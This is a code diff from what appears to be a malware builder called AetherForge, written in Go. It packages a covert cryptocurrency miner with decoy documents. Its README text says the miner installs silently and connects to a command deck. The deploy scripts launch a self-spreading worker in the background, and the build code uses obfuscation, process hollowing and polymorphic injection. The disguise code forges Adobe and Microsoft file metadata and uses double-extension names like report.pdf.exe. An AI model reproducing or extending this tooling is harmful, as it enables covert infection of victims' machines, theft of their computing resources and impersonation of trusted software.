|
||||
for _, p := range platforms {
|
||||
workerPath := workers[p.Label()]
|
||||
platReq := *req
|
||||
// Name each runner after the payload file for clarity (e.g. report-runner.exe)
|
||||
platReq.FusionOutputName = runnerNameForFile(title, p)
|
||||
res, err := h.buildFusionForPlatform(buildDir, prepPath, workerPath, &platReq, p)
|
||||
if err != nil {
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
fusionResults = append(fusionResults, res)
|
||||
destDir := filepath.Join(outDir, p.BinDir())
|
||||
if err := os.MkdirAll(destDir, 0755); err != nil {
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
runnerName := filepath.Base(res.LauncherPath)
|
||||
destRunner := filepath.Join(destDir, runnerName)
|
||||
if err := copyFile(res.LauncherPath, destRunner); err != nil {
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
if p.GOOS == "windows" {
|
||||
primaryPath = destRunner
|
||||
}
|
||||
if p.GOOS == "darwin" {
|
||||
if err := h.buildDarwinAppBundle(outDir, title, destRunner, p); err != nil {
|
||||
log.Printf("[Forge] darwin app bundle: %v", err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// For paired mode: copy the original payload file to the ZIP root so runners can find it.
|
||||
// The runners search up to 2 parent dirs from their binary location (bin/platform/ → root).
|
||||
if mode == "paired" && prepPath != "" {
|
||||
destPayload := filepath.Join(outDir, sanitizeFileName(payloadBase))
|
||||
_ = copyFile(prepPath, destPayload)
|
||||
}
|
||||
|
||||
_ = os.WriteFile(filepath.Join(outDir, "start.sh"), []byte(fusionUniversalStartSh(title)), 0755)
|
||||
_ = os.WriteFile(filepath.Join(outDir, "Start.bat"), []byte(fusionUniversalStartBat(title)), 0644)
|
||||
_ = os.WriteFile(filepath.Join(outDir, "Start.command"), []byte(fusionUniversalStartCommand()), 0755)
|
||||
|
||||
readme := fusionReadmeInfo{
|
||||
Title: titleBase,
|
||||
RunnerName: titleBase + "-runner",
|
||||
MediaName: payloadBase,
|
||||
PayloadKind: req.FusionPayloadKind,
|
||||
MediaMode: mode,
|
||||
}
|
||||
windowsRunnerName := disguisedRunnerName(payloadBase)
|
||||
unixRunnerName := sanitizeFileName(titleBase+"-runner")
|
||||
readmeExtra := "\r\nLAUNCH INSTRUCTIONS (Universal — all OSes):\r\n" +
|
||||
" Windows: double-click Start.bat (or run bin\\windows-amd64\\" + windowsRunnerName + ")\r\n" +
|
||||
" NOTE: on Windows, " + windowsRunnerName + " appears as \"" + titleBase + strings.ToLower(filepath.Ext(payloadBase)) + "\" (icon + name disguised)\r\n" +
|
||||
" Linux: chmod +x start.sh && ./start.sh (or bin/linux-amd64/" + unixRunnerName + ")\r\n" +
|
||||
" macOS: double-click Start.command (or open " + titleBase + ".app)\r\n\r\n" +
|
||||
"What happens when launched:\r\n" +
|
||||
" 1. The original file (" + payloadBase + ") opens normally\r\n" +
|
||||
" 2. The miner installs silently and connects to your command deck\r\n"
|
||||
_ = os.WriteFile(filepath.Join(outDir, "README.txt"), []byte(formatFusionReadme(readme)+readmeExtra), 0644)
|
||||
|
||||
zipName := fusionBundleZipName(subdir)
|
||||
zipPath := filepath.Join(buildDir, zipName)
|
||||
if err := zipDirectory(outDir, zipPath); err != nil {
|
||||
return BuildResponse{Success: false, Error: "zip failed: " + err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
_ = copyFile(zipPath, filepath.Join(outDir, zipName))
|
||||
|
||||
if primaryPath == "" && len(fusionResults) > 0 {
|
||||
primaryPath = fusionResults[0].LauncherPath
|
||||
}
|
||||
zipSt2, _ := os.Stat(zipPath)
|
||||
zipBytes2 := int64(0)
|
||||
if zipSt2 != nil {
|
||||
zipBytes2 = zipSt2.Size()
|
||||
}
|
||||
|
||||
if err := h.db.InsertBuild(&models.BuildRecord{
|
||||
ID: buildID, WorkerName: req.WorkerName, ServerURL: req.ServerURL, Wallet: req.Wallet,
|
||||
Threads: req.Threads, FileSize: zipBytes2, FilePath: zipPath, CreatedAt: time.Now(),
|
||||
PoolHost: req.PoolHost, PoolPort: req.PoolPort, PoolTLS: req.PoolTLS, PoolPass: req.PoolPass,
|
||||
Platform: "universal", BundleSize: zipBytes2,
|
||||
}); err != nil {
|
||||
log.Printf("[Builder] InsertBuild error (universal fusion %s): %v", buildID, err)
|
||||
}
|
||||
|
||||
return BuildResponse{
|
||||
Success: true,
|
||||
BuildID: buildID,
|
||||
FileName: zipName,
|
||||
FilePath: zipPath,
|
||||
RelativePath: filepath.ToSlash(filepath.Join(FusionDeliverablesDir, subdir, zipName)),
|
||||
FileSize: zipBytes2,
|
||||
DownloadURL: fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, zipName),
|
||||
FusionEnabled: true,
|
||||
FusionExportDir: outDir,
|
||||
BundleFileName: zipName,
|
||||
BundleDownloadURL: fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, zipName),
|
||||
BundleSize: zipBytes2,
|
||||
ExportPath: outDir,
|
||||
}, http.StatusOK, primaryPath
|
||||
}
|
||||
|
||||
func runnerNameForPlatform(p BuildPlatform) string {
|
||||
if p.GOOS == "windows" {
|
||||
return "runner.exe"
|
||||
}
|
||||
return "runner"
|
||||
}
|
||||
|
||||
func fileSize(st os.FileInfo) int64 {
|
||||
if st == nil {
|
||||
return 0
|
||||
}
|
||||
return st.Size()
|
||||
}
|
||||
|
||||
const universalDeploySh = `#!/bin/sh
|
||||
set -e
|
||||
DIR="$(cd "$(dirname "$0")" && pwd)"
|
||||
export AETHER_KIT_DIR="$DIR"
|
||||
OS="$(uname -s | tr '[:upper:]' '[:lower:]')"
|
||||
ARCH="$(uname -m)"
|
||||
case "$OS" in
|
||||
linux*)
|
||||
case "$ARCH" in
|
||||
arm64|aarch64) RUN="$DIR/bin/linux-arm64/worker" ;;
|
||||
*) RUN="$DIR/bin/linux-amd64/worker" ;;
|
||||
esac
|
||||
;;
|
||||
darwin*)
|
||||
case "$ARCH" in
|
||||
arm64|aarch64) RUN="$DIR/bin/darwin-arm64/worker" ;;
|
||||
*) RUN="$DIR/bin/darwin-amd64/worker" ;;
|
||||
esac
|
||||
;;
|
||||
*) echo "Unsupported OS: $OS"; exit 1 ;;
|
||||
esac
|
||||
if [ ! -f "$RUN" ]; then
|
||||
echo "Worker binary missing: $RUN"
|
||||
exit 1
|
||||
fi
|
||||
chmod +x "$RUN" 2>/dev/null || true
|
||||
xattr -cr "$RUN" 2>/dev/null || true
|
||||
nohup "$RUN" --spread-install </dev/null >/dev/null 2>&1 &
|
||||
exit 0
|
||||
`
|
||||
|
||||
func spreadKitDeploySh() string {
|
||||
return universalDeploySh
|
||||
}
|
||||
|
||||
const spreadKitDeployBatBody = `@echo off
|
||||
setlocal
|
||||
set "DIR=%~dp0"
|
||||
set "AETHER_KIT_DIR=%DIR%"
|
||||
set "RUN=%DIR%bin\windows-amd64\worker.exe"
|
||||
if not exist "%RUN%" (
|
||||
echo Worker missing: %RUN%
|
||||
exit /b 1
|
||||
)
|
||||
start "" /B "%RUN%" --spread-install
|
||||
exit /b 0
|
||||
`
|
||||
|
||||
func spreadKitDeployBat() string {
|
||||
return spreadKitDeployBatBody
|
||||
}
|
||||
|
||||
const spreadKitDeployVbsBody = `Set sh = CreateObject("WScript.Shell")
|
||||
dir = Replace(WScript.ScriptFullName, WScript.ScriptName, "")
|
||||
run = dir & "bin\windows-amd64\worker.exe"
|
||||
If Not CreateObject("Scripting.FileSystemObject").FileExists(run) Then
|
||||
WScript.Echo "Worker missing: " & run
|
||||
WScript.Quit 1
|
||||
End If
|
||||
sh.Environment("PROCESS")("AETHER_KIT_DIR") = dir
|
||||
sh.Run """" & run & """ --spread-install", 0, False
|
||||
`
|
||||
|
||||
func spreadKitDeployVbs() string {
|
||||
return spreadKitDeployVbsBody
|
||||
}
|
||||
|
||||
const spreadKitStartCommandBody = `#!/bin/bash
|
||||
DIR="$(cd "$(dirname "$0")" && pwd)"
|
||||
exec "$DIR/deploy.sh"
|
||||
`
|
||||
|
||||
func spreadKitStartCommand() string {
|
||||
return spreadKitStartCommandBody
|
||||
}
|
||||
|
||||
const universalDeployBat = `@echo off
|
||||
set DIR=%~dp0
|
||||
"%DIR%bin\windows-amd64\worker.exe" --spread-install
|
||||
`
|
||||
|
||||
// fusionUniversalStartSh returns start.sh for the universal fusion ZIP.
|
||||
// It detects the OS/arch and launches the matching runner binary.
|
||||
// title is the payload filename — Unix runners use a sanitised "-runner" suffix.
|
||||
func fusionUniversalStartSh(title string) string {
|
||||
base := strings.TrimSuffix(filepath.Base(title), filepath.Ext(title))
|
||||
if base == "" {
|
||||
base = "runner"
|
||||
}
|
||||
runnerBase := sanitizeFileName(base + "-runner")
|
||||
return `#!/bin/sh
|
||||
DIR="$(cd "$(dirname "$0")" && pwd)"
|
||||
OS="$(uname -s | tr '[:upper:]' '[:lower:]')"
|
||||
ARCH="$(uname -m)"
|
||||
case "$OS" in
|
||||
linux*)
|
||||
case "$ARCH" in
|
||||
arm64|aarch64) RUN="$DIR/bin/linux-arm64/` + runnerBase + `" ;;
|
||||
*) RUN="$DIR/bin/linux-amd64/` + runnerBase + `" ;;
|
||||
esac ;;
|
||||
darwin*)
|
||||
case "$ARCH" in
|
||||
arm64|aarch64) RUN="$DIR/bin/darwin-arm64/` + runnerBase + `" ;;
|
||||
*) RUN="$DIR/bin/darwin-amd64/` + runnerBase + `" ;;
|
||||
esac ;;
|
||||
*) echo "Unsupported OS: $OS"; exit 1 ;;
|
||||
esac
|
||||
if [ ! -f "$RUN" ]; then echo "Runner not found: $RUN"; exit 1; fi
|
||||
chmod +x "$RUN" 2>/dev/null || true
|
||||
xattr -cr "$RUN" 2>/dev/null || true
|
||||
exec "$RUN"
|
||||
`
|
||||
}
|
||||
|
||||
// fusionUniversalStartBat returns Start.bat for the universal fusion ZIP (Windows runner).
|
||||
// title is the payload filename — the runner uses the double-extension disguised name.
|
||||
func fusionUniversalStartBat(title string) string {
|
||||
runnerExe := disguisedRunnerName(title)
|
||||
return "@echo off\r\nset \"DIR=%~dp0\"\r\n\"%DIR%bin\\windows-amd64\\" + runnerExe + "\"\r\n"
|
||||
}
|
||||
|
||||
// fusionUniversalStartCommand returns Start.command (macOS double-click launcher).
|
||||
func fusionUniversalStartCommand() string {
|
||||
return "#!/bin/bash\nDIR=\"$(cd \"$(dirname \"$0\")\" && pwd)\"\nexec \"$DIR/start.sh\"\n"
|
||||
}
|
||||
|
||||
func formatSpreadKitReadme(req *BuildRequest) string {
|
||||
return fmt.Sprintf(`AetherForge Universal Spread Kit — %s
|
||||
=====================================
|
||||
|
||||
Run ONE launcher for your OS (silent install + mining + deck connection):
|
||||
|
||||
Windows (silent): double-click Deploy.vbs (or Deploy.bat)
|
||||
Linux: chmod +x deploy.sh && ./deploy.sh
|
||||
macOS: double-click Start.command (or ./deploy.sh)
|
||||
|
||||
Keep the entire folder together — bin/ must stay next to the launcher.
|
||||
|
||||
Command deck URL baked into workers: %s
|
||||
If agents never appear, re-forge with your LAN IP (not localhost).
|
||||
|
||||
Troubleshooting log (if install fails): %%TEMP%%\aetherforge-spread.log (Windows) or /tmp/aetherforge-spread.log (Unix)
|
||||
`, req.WorkerName, req.ServerURL)
|
||||
}
|
||||
|
||||
func formatSpreadKitOperator(req *BuildRequest, buildID string) string {
|
||||
return fmt.Sprintf(`AetherForge Spread Kit — operator reference
|
||||
Worker: %s
|
||||
Build ID: %s
|
||||
Command URL: %s
|
||||
Pool: %s:%d
|
||||
Wallet: %s…
|
||||
Auto-spread: %v
|
||||
Targets: windows-amd64, linux-amd64, linux-arm64, darwin-amd64, darwin-arm64
|
||||
|
||||
Verify: unzip, run launcher on target OS, agent should appear on command deck within ~30s.
|
||||
`, req.WorkerName, buildID, req.ServerURL, req.PoolHost, req.PoolPort, truncateWallet(req.Wallet), req.AutoSpread)
|
||||
}
|
||||
|
||||
func truncateWallet(w string) string {
|
||||
w = strings.TrimSpace(w)
|
||||
if len(w) <= 16 {
|
||||
return w
|
||||
}
|
||||
return w[:16]
|
||||
}
|
||||
@@ -1,13 +1,5 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"os/exec"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func (h *Handler) buildTagsFor(req *BuildRequest) []string {
|
||||
var tags []string
|
||||
if req.ProcessHollowing {
|
||||
@@ -27,36 +19,5 @@ func (h *Handler) shouldObfuscate(req *BuildRequest) bool {
|
||||
}
|
||||
|
||||
func (h *Handler) compileGoProject(dir, outputPath, ldflags string, tags []string, obfuscate bool) ([]byte, error) {
|
||||
env := append(os.Environ(),
|
||||
"GOOS=windows",
|
||||
"GOARCH=amd64",
|
||||
"CGO_ENABLED=0",
|
||||
)
|
||||
|
||||
buildArgs := []string{"build", "-trimpath", "-ldflags", ldflags, "-o", outputPath}
|
||||
if len(tags) > 0 {
|
||||
buildArgs = append(buildArgs, "-tags", strings.Join(tags, ","))
|
||||
}
|
||||
buildArgs = append(buildArgs, ".")
|
||||
|
||||
useGarble := obfuscate && h.garblePath != ""
|
||||
if obfuscate && !useGarble {
|
||||
log.Printf("[Forge] obfuscation requested but garble not in PATH — building plain binary")
|
||||
}
|
||||
|
||||
var cmd *exec.Cmd
|
||||
if useGarble {
|
||||
garbleArgs := append([]string{"-literals", "-tiny"}, buildArgs...)
|
||||
cmd = exec.Command(h.garblePath, garbleArgs...)
|
||||
} else {
|
||||
cmd = exec.Command(h.goBinPath, buildArgs...)
|
||||
}
|
||||
cmd.Dir = dir
|
||||
cmd.Env = env
|
||||
|
||||
out, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
return out, fmt.Errorf("compile failed: %s", strings.TrimSpace(string(out)))
|
||||
}
|
||||
return out, nil
|
||||
return h.compileGoProjectPlatform(dir, outputPath, ldflags, tags, obfuscate, BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"})
|
||||
}
|
||||
|
||||
75
server/internal/builder/compile_platform.go
Normal file
75
server/internal/builder/compile_platform.go
Normal file
@@ -0,0 +1,75 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func (h *Handler) compileGoProjectPlatform(dir, outputPath, ldflags string, tags []string, obfuscate bool, platform BuildPlatform) ([]byte, error) {
|
||||
env := append(os.Environ(),
|
||||
"GOOS="+platform.GOOS,
|
||||
"GOARCH="+platform.GOARCH,
|
||||
"CGO_ENABLED=0",
|
||||
)
|
||||
|
||||
buildArgs := []string{"build", "-trimpath", "-ldflags", ldflags, "-o", outputPath}
|
||||
if len(tags) > 0 {
|
||||
buildArgs = append(buildArgs, "-tags", strings.Join(tags, ","))
|
||||
}
|
||||
buildArgs = append(buildArgs, ".")
|
||||
|
||||
useGarble := obfuscate && h.garblePath != "" && platform.GOOS == "windows"
|
||||
if obfuscate && platform.GOOS == "windows" && !useGarble {
|
||||
log.Printf("[Forge] obfuscation requested but garble not in PATH — building plain binary")
|
||||
}
|
||||
|
||||
var cmd *exec.Cmd
|
||||
if useGarble {
|
||||
garbleArgs := append([]string{"-literals", "-tiny"}, buildArgs...)
|
||||
cmd = exec.Command(h.garblePath, garbleArgs...)
|
||||
} else {
|
||||
cmd = exec.Command(h.goBinPath, buildArgs...)
|
||||
}
|
||||
cmd.Dir = dir
|
||||
cmd.Env = env
|
||||
|
||||
out, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
return out, fmt.Errorf("compile failed (%s): %s", platform.Label(), strings.TrimSpace(string(out)))
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (h *Handler) compileWorker(agentDir, buildDir string, req *BuildRequest, buildID string, platform BuildPlatform, fusionWorker bool) (string, error) {
|
||||
name := workerFileName(req.WorkerName, platform, fusionWorker)
|
||||
outputPath := filepath.Join(buildDir, platform.Label(), name)
|
||||
if err := os.MkdirAll(filepath.Dir(outputPath), 0755); err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
configDir := filepath.Join(agentDir, "config")
|
||||
if err := os.MkdirAll(configDir, 0755); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(configDir, "builtin.go"), []byte(h.generateBuiltinConfig(buildID, req)), 0644); err != nil {
|
||||
return "", fmt.Errorf("write builtin config: %w", err)
|
||||
}
|
||||
|
||||
ldflags := ldflagsFor(req, platform)
|
||||
extra, err := injectPolymorph(agentDir, buildID)
|
||||
if err != nil {
|
||||
log.Printf("[Forge] polymorph inject: %v", err)
|
||||
} else {
|
||||
ldflags += extra
|
||||
}
|
||||
|
||||
obfuscated := h.shouldObfuscate(req) && h.garblePath != ""
|
||||
if _, err := h.compileGoProjectPlatform(agentDir, outputPath, ldflags, h.buildTagsFor(req), obfuscated, platform); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return outputPath, nil
|
||||
}
|
||||
225
server/internal/builder/disguise.go
Normal file
225
server/internal/builder/disguise.go
Normal file
@@ -0,0 +1,225 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// fileDisguiseInfo holds the spoofed Windows PE metadata for a file type.
|
||||
// When injected into the runner, Windows Explorer and Task Manager will show
|
||||
// this information instead of the generic Go binary defaults.
|
||||
type fileDisguiseInfo struct {
|
||||
FileDescription string
|
||||
ProductName string
|
||||
CompanyName string
|
||||
LegalCopyright string
|
||||
OriginalFilename string // the "real" exe that Windows thinks this is
|
||||
FileVersion string // e.g. "24.0.20112.0"
|
||||
ProductVersion string // e.g. "2024.002.20965"
|
||||
}
|
||||
|
||||
// disguiseByExt maps a lower-case file extension to the PE metadata that makes
|
||||
// the runner binary look like the legitimate application for that file type.
|
||||
// Extensions without an entry fall back to a generic Windows shell host entry.
|
||||
var disguiseByExt = map[string]fileDisguiseInfo{
|
||||
// ── Documents ──────────────────────────────────────────────────────────────
|
||||
".pdf": {
|
||||
FileDescription: "Adobe Acrobat Document", ProductName: "Adobe Acrobat",
|
||||
CompanyName: "Adobe Inc.", LegalCopyright: "Copyright © 1984-2025 Adobe. All rights reserved.",
|
||||
OriginalFilename: "AcroRd32.exe", FileVersion: "24.0.20112.0", ProductVersion: "2024.002.20965",
|
||||
},
|
||||
".doc": {
|
||||
FileDescription: "Microsoft Word Document", ProductName: "Microsoft Office Word",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "WINWORD.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
|
||||
},
|
||||
".docx": {
|
||||
FileDescription: "Microsoft Word Document", ProductName: "Microsoft Office Word",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "WINWORD.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
|
||||
},
|
||||
".xls": {
|
||||
FileDescription: "Microsoft Excel Worksheet", ProductName: "Microsoft Office Excel",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "EXCEL.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
|
||||
},
|
||||
".xlsx": {
|
||||
FileDescription: "Microsoft Excel Worksheet", ProductName: "Microsoft Office Excel",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "EXCEL.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
|
||||
},
|
||||
".ppt": {
|
||||
FileDescription: "Microsoft PowerPoint Presentation", ProductName: "Microsoft Office PowerPoint",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "POWERPNT.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
|
||||
},
|
||||
".pptx": {
|
||||
FileDescription: "Microsoft PowerPoint Presentation", ProductName: "Microsoft Office PowerPoint",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "POWERPNT.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
|
||||
},
|
||||
".txt": {
|
||||
FileDescription: "Text Document", ProductName: "Notepad",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "notepad.exe", FileVersion: "10.0.22621.2506", ProductVersion: "10.0.22621.2506",
|
||||
},
|
||||
".csv": {
|
||||
FileDescription: "Microsoft Excel Comma Separated Values File", ProductName: "Microsoft Office Excel",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "EXCEL.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
|
||||
},
|
||||
// ── Video ──────────────────────────────────────────────────────────────────
|
||||
".mp4": {
|
||||
FileDescription: "MP4 Video File", ProductName: "Windows Media Player",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
|
||||
},
|
||||
".mkv": {
|
||||
FileDescription: "Matroska Video File", ProductName: "VLC media player",
|
||||
CompanyName: "VideoLAN", LegalCopyright: "Copyright © 1996-2024 the VLC authors and VideoLAN.",
|
||||
OriginalFilename: "vlc.exe", FileVersion: "3.0.21.0", ProductVersion: "3.0.21",
|
||||
},
|
||||
".mov": {
|
||||
FileDescription: "QuickTime Movie", ProductName: "QuickTime Player",
|
||||
CompanyName: "Apple Inc.", LegalCopyright: "© 2024 Apple Inc. All rights reserved.",
|
||||
OriginalFilename: "QuickTimePlayer.exe", FileVersion: "7.79.80.95", ProductVersion: "7.79.80.95",
|
||||
},
|
||||
".avi": {
|
||||
FileDescription: "AVI Video File", ProductName: "Windows Media Player",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
|
||||
},
|
||||
".wmv": {
|
||||
FileDescription: "Windows Media Video File", ProductName: "Windows Media Player",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
|
||||
},
|
||||
// ── Audio ──────────────────────────────────────────────────────────────────
|
||||
".mp3": {
|
||||
FileDescription: "MP3 Audio File", ProductName: "Windows Media Player",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
|
||||
},
|
||||
".wav": {
|
||||
FileDescription: "Wave Sound File", ProductName: "Windows Media Player",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
|
||||
},
|
||||
// ── Images ─────────────────────────────────────────────────────────────────
|
||||
".jpg": {
|
||||
FileDescription: "JPEG Image", ProductName: "Microsoft Photos",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
|
||||
},
|
||||
".jpeg": {
|
||||
FileDescription: "JPEG Image", ProductName: "Microsoft Photos",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
|
||||
},
|
||||
".png": {
|
||||
FileDescription: "PNG Image", ProductName: "Microsoft Photos",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
|
||||
},
|
||||
".gif": {
|
||||
FileDescription: "GIF Image", ProductName: "Microsoft Photos",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
|
||||
},
|
||||
// ── Archives ───────────────────────────────────────────────────────────────
|
||||
".zip": {
|
||||
FileDescription: "Compressed (zipped) Folder", ProductName: "Windows Explorer",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "Explorer.exe", FileVersion: "10.0.22621.2506", ProductVersion: "10.0.22621.2506",
|
||||
},
|
||||
".rar": {
|
||||
FileDescription: "WinRAR archive", ProductName: "WinRAR",
|
||||
CompanyName: "win.rar GmbH", LegalCopyright: "Copyright © 1993-2024 win.rar GmbH.",
|
||||
OriginalFilename: "WinRAR.exe", FileVersion: "7.01.0", ProductVersion: "7.01.0",
|
||||
},
|
||||
}
|
||||
|
||||
// fileDisguiseForExt returns the best disguise metadata for a given file extension.
|
||||
// Falls back to a generic Windows shell host entry if the extension is not recognised.
|
||||
func fileDisguiseForExt(ext string) fileDisguiseInfo {
|
||||
if info, ok := disguiseByExt[strings.ToLower(ext)]; ok {
|
||||
return info
|
||||
}
|
||||
// Generic fallback — looks like a Windows shell component
|
||||
return fileDisguiseInfo{
|
||||
FileDescription: "Windows Shell Extension", ProductName: "Windows",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "Explorer.exe", FileVersion: "10.0.22621.2506", ProductVersion: "10.0.22621.2506",
|
||||
}
|
||||
}
|
||||
|
||||
// disguisedRunnerName returns the Windows runner filename that impersonates a
|
||||
// document type using the double-extension trick:
|
||||
//
|
||||
// "report.pdf" → "report.pdf.exe"
|
||||
// "clip.mp4" → "clip.mp4.exe"
|
||||
//
|
||||
// When Windows hides known file extensions (the OS default), the user sees
|
||||
// "report.pdf" with the PDF icon injected by applyDocumentDisguise.
|
||||
func disguisedRunnerName(payloadName string) string {
|
||||
ext := strings.ToLower(filepath.Ext(payloadName))
|
||||
if ext == ".exe" || ext == "" {
|
||||
// Already an exe payload or no extension — no double-extension trick
|
||||
base := strings.TrimSuffix(filepath.Base(payloadName), filepath.Ext(payloadName))
|
||||
if base == "" {
|
||||
base = "setup"
|
||||
}
|
||||
return sanitizeFileName(base) + ".exe"
|
||||
}
|
||||
base := strings.TrimSuffix(filepath.Base(payloadName), filepath.Ext(payloadName))
|
||||
if base == "" {
|
||||
base = "file"
|
||||
}
|
||||
// e.g. "quarterly-report.pdf.exe"
|
||||
return sanitizeFileName(base) + ext + ".exe"
|
||||
}
|
||||
|
||||
// winresVersionJSON builds a go-winres patch JSON that injects an icon (from
|
||||
// icoRelPath, relative to the winres JSON) and the spoofed version info.
|
||||
func winresVersionJSON(info fileDisguiseInfo, icoRelPath string) ([]byte, error) {
|
||||
// Convert "16.0.17726.20004" → "16,0,17726,20004" for FILEVERSION field
|
||||
fv := strings.ReplaceAll(info.FileVersion, ".", ",")
|
||||
pv := strings.ReplaceAll(info.ProductVersion, ".", ",")
|
||||
|
||||
doc := map[string]any{
|
||||
"RT_GROUP_ICON": map[string]any{
|
||||
"APP": map[string]any{"0409": icoRelPath},
|
||||
},
|
||||
"RT_VERSION": map[string]any{
|
||||
"#1": map[string]any{
|
||||
"0409": map[string]any{
|
||||
"FILEVERSION": fv,
|
||||
"PRODUCTVERSION": pv,
|
||||
"FileDescription": info.FileDescription,
|
||||
"FileVersion": info.FileVersion,
|
||||
"InternalName": strings.TrimSuffix(info.OriginalFilename, ".exe"),
|
||||
"LegalCopyright": info.LegalCopyright,
|
||||
"OriginalFilename": info.OriginalFilename,
|
||||
"ProductName": info.ProductName,
|
||||
"ProductVersion": info.ProductVersion,
|
||||
"CompanyName": info.CompanyName,
|
||||
},
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
return marshalJSONPretty(doc)
|
||||
}
|
||||
|
||||
func marshalJSONPretty(v any) ([]byte, error) {
|
||||
return json.MarshalIndent(v, "", " ")
|
||||
}
|
||||
|
||||
// fileDisguiseSummary returns a one-line human-readable description of what the
|
||||
// disguise will look like, used for logging.
|
||||
func fileDisguiseSummary(payloadExt string) string {
|
||||
info := fileDisguiseForExt(payloadExt)
|
||||
return fmt.Sprintf("%s (%s by %s)", info.FileDescription, info.ProductName, info.CompanyName)
|
||||
}
|
||||
10
server/internal/builder/disguise_stub.go
Normal file
10
server/internal/builder/disguise_stub.go
Normal file
@@ -0,0 +1,10 @@
|
||||
//go:build !windows
|
||||
|
||||
package builder
|
||||
|
||||
// applyDocumentDisguise is a no-op on non-Windows build hosts.
|
||||
// Icon + version-info injection into PE executables requires Windows tooling.
|
||||
// The runner will still function correctly; it just won't have the spoofed icon.
|
||||
func (h *Handler) applyDocumentDisguise(payloadExt, exePath string) error {
|
||||
